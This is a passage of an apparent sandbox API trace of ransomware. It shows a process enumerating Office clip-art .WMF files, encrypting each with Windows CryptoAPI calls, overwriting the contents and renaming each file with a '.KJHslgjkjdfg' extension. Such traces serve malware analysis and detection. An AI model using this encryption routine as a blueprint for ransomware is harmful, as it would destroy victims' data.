dwReserved1=0x2e0000, cFileName="NA02127_.WMF", cAlternateFileName="")) returned 1 [0185.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.775] GetProcessHeap () returned 0x2a0000 [0185.775] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.775] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.775] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.775] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.778] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.778] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.778] GetProcessHeap () returned 0x2a0000 [0185.778] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.778] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.778] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.778] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.778] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.778] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.778] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.778] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.778] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.778] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.779] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xfe4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xfe4, lpOverlapped=0x0) returned 1 [0185.779] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xff0, dwBufLen=0xff0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xff0) returned 1 [0185.779] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.779] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xff0, lpOverlapped=0x0) returned 1 [0185.779] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.779] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.779] SetEndOfFile (hFile=0x114) returned 1 [0185.782] GetProcessHeap () returned 0x2a0000 [0185.782] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.782] GetProcessHeap () returned 0x2a0000 [0185.782] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.782] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf.kjhslgjkjdfg")) returned 1 [0185.783] CloseHandle (hObject=0x114) returned 1 [0185.783] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02262_.WMF", cAlternateFileName="")) returned 1 [0185.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.784] GetProcessHeap () returned 0x2a0000 [0185.784] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.785] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.785] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.785] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.785] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.785] GetProcessHeap () returned 0x2a0000 [0185.785] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.785] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.785] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.785] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.791] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.791] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.792] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.792] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.792] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.792] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.792] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd00, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd00, lpOverlapped=0x0) returned 1 [0185.792] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd00, dwBufLen=0xd00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd00) returned 1 [0185.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.792] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd00, lpOverlapped=0x0) returned 1 [0185.792] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.792] SetEndOfFile (hFile=0x114) returned 1 [0185.795] GetProcessHeap () returned 0x2a0000 [0185.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.795] GetProcessHeap () returned 0x2a0000 [0185.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf.kjhslgjkjdfg")) returned 1 [0185.796] CloseHandle (hObject=0x114) returned 1 [0185.796] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02264_.WMF", cAlternateFileName="")) returned 1 [0185.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.798] GetProcessHeap () returned 0x2a0000 [0185.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.798] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.798] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.798] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.798] GetProcessHeap () returned 0x2a0000 [0185.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.798] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.798] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.798] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.800] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.800] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.800] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.800] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.800] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.800] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.801] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.801] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8e0, lpOverlapped=0x0) returned 1 [0185.801] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8e0) returned 1 [0185.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.801] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8e0, lpOverlapped=0x0) returned 1 [0185.801] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.801] SetEndOfFile (hFile=0x114) returned 1 [0185.803] GetProcessHeap () returned 0x2a0000 [0185.803] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.803] GetProcessHeap () returned 0x2a0000 [0185.803] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf.kjhslgjkjdfg")) returned 1 [0185.805] CloseHandle (hObject=0x114) returned 1 [0185.805] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02356_.WMF", cAlternateFileName="")) returned 1 [0185.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.806] GetProcessHeap () returned 0x2a0000 [0185.806] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.806] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.806] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.806] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.808] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.808] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.808] GetProcessHeap () returned 0x2a0000 [0185.808] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.808] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.808] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.808] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.808] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.808] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.808] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.808] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.808] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.809] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.809] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.809] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.809] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe14, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe14, lpOverlapped=0x0) returned 1 [0185.809] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe20, dwBufLen=0xe20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe20) returned 1 [0185.809] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.809] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe20, lpOverlapped=0x0) returned 1 [0185.809] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.809] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.809] SetEndOfFile (hFile=0x114) returned 1 [0185.811] GetProcessHeap () returned 0x2a0000 [0185.811] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.811] GetProcessHeap () returned 0x2a0000 [0185.811] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf.kjhslgjkjdfg")) returned 1 [0185.813] CloseHandle (hObject=0x114) returned 1 [0185.813] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02361_.WMF", cAlternateFileName="")) returned 1 [0185.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.814] GetProcessHeap () returned 0x2a0000 [0185.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.814] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.814] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.816] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.816] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.816] GetProcessHeap () returned 0x2a0000 [0185.816] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.816] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.816] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.816] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: 